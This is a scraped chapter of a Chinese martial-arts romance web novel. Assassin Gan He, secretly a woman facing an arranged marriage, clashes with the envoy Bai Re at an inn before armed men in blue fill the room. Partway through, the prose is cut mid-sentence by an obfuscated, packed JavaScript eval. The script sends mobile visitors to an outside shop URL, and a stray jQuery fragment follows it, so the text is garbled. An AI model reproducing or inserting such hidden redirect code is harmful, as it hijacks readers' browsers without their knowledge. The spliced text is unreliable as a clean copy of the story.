文趣网 > 都市小说 > 刺客过家家GB(先婚后爱) > 13. 笔直前行
    “好,当然好。”钱沫笑了笑,“只是,甘鹤,你别忘了,你所面对的,是神龙帮主的亲妹妹。慕容陵光不显山不露水的,却能在暗地里呼风唤雨、控制北方群豪,他的妹妹,恐怕不会太简单。”

    “我知道。”甘鹤道,“与她无关……只是我大了。”

    “你一向不擅长说谎。”钱沫叹了口气,“这件事,真是苦了你了。若她发现你也是女子……”

    甘鹤的心猛地揪了一下,她当然知道这件事本就全无感情可言,她们二人不是文欣、不是甘鹤,只不过是神龙帮、是华发堂。

    清楚这件事情和甘鹤真身的人实在很少,唯有华发堂真正的老资历,还得同时与薛摩天和甘鹤相熟。钱沫算一个。

    看到店小二走过来,钱沫清了清嗓子,柔声道:“不论如何,文欣总是一个很好的姑娘。”

    听到这句话,甘鹤更是揪心,她忽而发觉自己在做一件不那么顺心的事情。

    店小二却冷冷道:“我实在是没想到。”

    甘鹤道:“你说什么?”

    “我实在是没想到。”店小二冷笑,“华发堂最厉害的杀手甘鹤,薛堂主最珍爱、最看好的义子甘鹤,居然已投奔到儿女私情的欢快地了。瞧你头上这花,不可笑吗?”

    甘鹤摇了摇头。

    “你怎么能这么说?”钱沫看着店小二,“难道你没听说过,这门亲事本就是薛堂主亲自安排的?”

    “真正冷的刀,不需要刀鞘。”店小二道,“一把总是出鞘的刀,如果入了鞘,再想出鞘,就难得很了。”

    店小二仰头看着二楼的房门:“何况这女人还是个一顶一的狐媚子。”

    甘鹤拍案而起,冷冷道:“你说什么?”

    “有什么问题?”店小二道,“就算是白痴,也该看出她浑身上下的骚气。不过,这也不能怪你,听说你一把年纪,还从来没有过女人。这样的男人,跟木头也差不了太多。”

    “够了够了,你说什么呢?小点声!”钱沫制止道,“大家都是自己人,为什么要这样子说话?都坐下,坐下。”

    “自己人?你究竟是什么人?”甘鹤盯着店小二锋锐的双眸。

    “哼。”店小二冷哼一声,朝天拱手道,“我是华发堂的「青龙使」,白热。”

    甘鹤皱了皱眉,华发堂设有四大使者护法,这四大使者她虽未尽数相识,可知道大多是资历甚巨、武功颇高之人。有的年纪,比师父还要大得多。可面前这小二,看来比自己还要小上几岁,怎会是青龙使?

    钱沫苦笑道:“他的确是青龙使。跟公孙老爷子一样,是真真正正的护法使者。”

    “不错。”白热的语声带着三份嘲弄,“嘉兴分舵乃我辖地,我亲临巡视,见到钱大掌柜近来孤木难支,这才来此拔刀相助。你算是怎么回事?又是你师父平白无端地降下来的?”

    “你说完了没有?”甘鹤的声音却淡淡的。

    白热想不到甘鹤竟完全没有回答他的问题,他还是仰起头来,道:“你待怎样?”

    “不怎么样。”甘鹤道,“我只是想提醒你,不要说文欣的坏话。”

    白热凝视着甘鹤,他当然感受到了一种刺鼻的杀气,这是他在华发堂从未见过的,所有的桌椅仿佛都在一刹那消失不见,他和甘鹤同时挺立于陡崖的两峰,吹过来的山风使他不敢眨眼。

    “喂,掌柜的!”远在一角的老三弦不耐烦地招呼道。

    钱沫笑了笑,走过去道:“怎么了?可是要点几个小菜?”

    “嗨,您别消遣我了,我什么时候点过小菜。”老三弦挤眉弄眼,低声道,“吓我一跳,那戴斗笠的,是怎么回事?怎么突然便拍桌子?你们怎么吵上啦?我这茶,还能不能好好喝下去?”

    “没事,是老相识的啦。”钱沫道,“也就说这么几句,你放心,好好吃着。”

    她又走回甘鹤与白热中间,道:“好了,好了。别在这儿杵着了。甘鹤,我们去散散步。”

    一家客栈的后花园还是很美好,树木丛生、百草丰茂。

    甘鹤叫不上翠海花洋的名字、也看不懂钱沫收藏的各种珠宝,可隐隐觉得,草木带来的慰藉超过了金银。

    还有些形状奇特的草药,长势甚妙,看来这里还可做后备的疗伤地。

    钱沫又笑了笑:“这偌大的院子,也就这里最好看。”

    “嗯。”甘鹤喃喃道,“文欣或许会很喜欢。”

    钱沫沉默了一阵子,道:“做杀手一定很难。”

    甘鹤不否认。

    钱沫道:“这也是我愿意窝在这么一家小客栈的理由。我早就倦了,也不再有本事了。有时候,放下比拿着要舒服得多。”

    甘鹤转头看向钱沫,钱沫并不是一个经常展露自身脆弱的人。

    钱沫又接着说道:“你别怪白热,他还年轻,急躁。他也是为了华发堂好。”

    这次轮到甘鹤沉默。

    钱沫长叹道:“长话短说,嘉兴分舵最近最大的麻烦,就是——”

    “缺钱。”钱沫的脸色很苦,比苦瓜苦。

    “缺钱?”甘鹤呆了一呆,没想到没有强敌、没有阴谋,有的居然是“缺钱”?

    “是的。”钱沫道,“你该知道,华发堂这么大的帮派想要运转,没有足够多的银子是不行的。而我们这些分舵,兼有营收的功能。”

    “可是这一切,都被对面的食指酒家打破了?”甘鹤问。

    “是的。”钱沫道,“这酒家似乎真的能令人食指大动。”

    她望着甘鹤苦笑,道:“何况你的婚礼恐怕不日将至,各个分舵都要做好准备,风风光光地办好你和文欣的事儿。到时候,神龙帮主一定也会亲临,我们绝对不能掉了链子。”

    “怪不得客栈里连人手都没有了。”甘鹤的呼吸有点儿不畅,与神龙帮联姻这事儿,远比她想象中更难。更可怕的是,她没有忘,华发堂还有内鬼!

    “不过我们一定会挺过去。”钱沫道,“白热已为我想了许多法子。你这一来,他一定要跟你较着劲儿,拼命想把客栈整好。”

    甘鹤没有回应,可没觉得这是件好事。

    钱沫

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762888|209626||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    柔声道:“你还在怪他骂了文欣,是不是?其实你不知道,他其实一向很推崇你。”

    “推崇我?真的?”甘鹤忍不住脱口道。

    “我也不太清楚。可之前的确听他说过,他练剑时,经常拿你做榜样。”钱沫看着甘鹤斗笠上可爱的小花,咧嘴笑道,“许是有些落差,甘鹤并不是传闻中那个‘杀人不眨眼’的杀手。”

    “我本来就不是。”甘鹤喃喃道。

    “等你们回杭州总舵成婚,不妨多休息一阵子。”钱沫道,“听说公孙老爷子也很想你。你师父就更不用说了。”

    “嗯。”甘鹤使劲儿点了点头。

    “至于你和文欣的事儿,你也不用觉得对不起她。”钱沫道,“我虽然没什么本事,可是毕竟见过的人还算不少。文欣很不错,可不像是真心与你成婚的。当然,空口无凭,你若不信,可以再多试探于她。”

    甘鹤沉默。

    钱沫道:“我相信,试探这么一位小姑娘,对你这个名列三甲的杀手来说,不算难事。除非,你自己不愿相信。”

    甘鹤的沉默更深,文欣真的很特别、很好玩,就算她现在只是将文欣当做妹妹一样爱护,也已经真的动了感情。

    “再说,这亲事又不是你认的,而是神龙帮主和华发堂主定的。”钱沫诚恳道,“你真的不用自责,不然拖垮了身体,为时便晚了。”

    “好,多谢。”甘鹤又握紧了双拳,虽然不愿意试探,可她真的不能再这样等下去了。若探不清楚,真到了洞房花烛,她该怎样面对文欣?她心想,若真有这么一天,她一定要想出一个法子,和文欣好好说清楚,绝不能就这么稀里糊涂地成了婚,即便是为了华发堂、为了报仇,也不该。

    在花间水边仰首,可以看到文欣推开的窗户,却看不到文欣,文欣一定在休息,文欣肚子痛,当然不会有闲情来看这花园。

    “掌柜,掌柜!”白热的声音突然从客栈中传来,很大、很大。

    钱沫讶然道:“白热很少这样子喊叫的。”

    所以,她们当然很快便回到了客栈里。

    客栈里有人。

    老三弦喝茶的手微颤,如坐针毡。

    他已与三个人拼了桌。

    不是他想跟三个人拼桌,而是三个人已经跟他拼了桌。

    三个青衣人。

    甘鹤扫视一周,客栈里不但有人,还座无虚席。

    二十来个青衣人已经将客栈坐得满满当当,每个人都戴着顶青竹笠,别了件刀鞘很讲究的弯刀。

    一个最讲究的青衣汉子正坐在正中央,一只戴翡翠扳指的右手正用一块青帕包起一根油腻的鸡爪,品味。

    这鸡爪当然是白热端上来的,只不过是店里再普通不过的小菜。

    可是放在这个人手里,鸡爪就不再是鸡爪了。

    该改称凤爪。

    他先仔细地端详着凤爪,仿佛在赏花。

    再以左手扇风,闻其味。

    接着才张开嘴,用一种极考究的方式咬了下去。

    “凡品。”他叹了口气。